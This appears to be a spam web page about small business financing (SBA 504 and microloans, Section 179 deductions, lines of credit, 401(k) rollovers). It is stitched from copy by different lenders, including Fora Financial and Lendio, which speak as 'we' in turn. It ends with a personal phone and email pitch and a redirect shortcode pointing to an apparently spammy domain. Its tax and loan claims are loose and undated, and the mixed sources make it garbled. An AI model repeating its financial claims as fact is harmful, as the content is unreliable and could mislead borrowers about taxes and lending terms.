The CDC / SBA 504 loan program is designed to get affordable, long term loans to small businesses looking to buy or build facilities to operate out of as well as outfit those facilities with heavy equipment with long lifespans.
Section 179 tax deduction is a lucrative and important tax break that has been made permanent across the board, under the Protecting America from Tax Hikes Act (PATH Act). In most cases, the IRS allows your equipment lease or loan payments to be 100% tax deductible! You can secure the equipment, tools, and technology that you need, while also taking advantage of significant tax deductions — up to $500,000. Consult your tax professional for more details.
A business line of credit provides access to flexible cash. Lenders give you access to a specific amount of credit (say, $100,000), but you don’t make payments or get charged interest until you tap into the funds.
The Microloan program provides small loans ranging from under $500 to $50,000. Under this program, the SBA makes funds available to nonprofit intermediaries that, in turn, make the small loans directly to entrepreneurs, including veterans. Proceeds can be used for typical business purposes such as working capital, or the purchase of furniture, fixtures, machinery, supplies, equipment, and inventory. Microloans may not be used for the purchase of real estate. Interest rates are negotiated between the borrower and the intermediary. The maximum term for a microloan is 7 years. For more information, go to www.sba.gov/microloans
Businesses must meet certain criteria to qualify for an SBA loan in addition to meeting the credit qualifications of the lending partner. We also differentiate SBA loans based on the need of the business owner.
Fora Financial’s small business loan product is suitable for businesses in a variety of industries. Watch our quick video to learn more about how Fora Financial’s business financing can benefit your operations!
The SBA guarantee reduces the risk for lenders, allowing lenders to make loans to businesses that they would otherwise not lend to. For example, businesses with insufficient down payments or collateral for conventional bank loans may be able to qualify for a loan that’s backed by an SBA guarantee. Similarly, borrowers usually receive loans with lower interest rates and longer repayment terms than they would with conventional commercial loans.
One of the most beneficial ways to combine financing methods is to use 401(k) business financing with an SBA loan. This allows you to leverage your retirement funds for the loan down payment without triggering any tax penalties.
Receiving a loan can be a game changer for your business! To date, we’ve provided more than 15,000 businesses nationwide with financing. These business owners have shared with us how additional working capital has positively affected their operations. Here are just a few ways that financing can help small businesses thrive:
Choosing isn’t as hard as it sounds, though. When you shop for your loan with Lendio, one of our personal funding managers will partner with you every step of the way. He or she will talk to you about all your loan options, help you calculate how much financing you need, walk you through collecting all the necessary documents and forms, and tell you everything’s going to be okay. We don’t hug, though. Hugs are where we draw the line.
Disaster loans fall into a different category than the typical SBA loan. We can help you with this, but you need to me very soon. Please call me at 619-279-7522 or email me at [email protected]. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]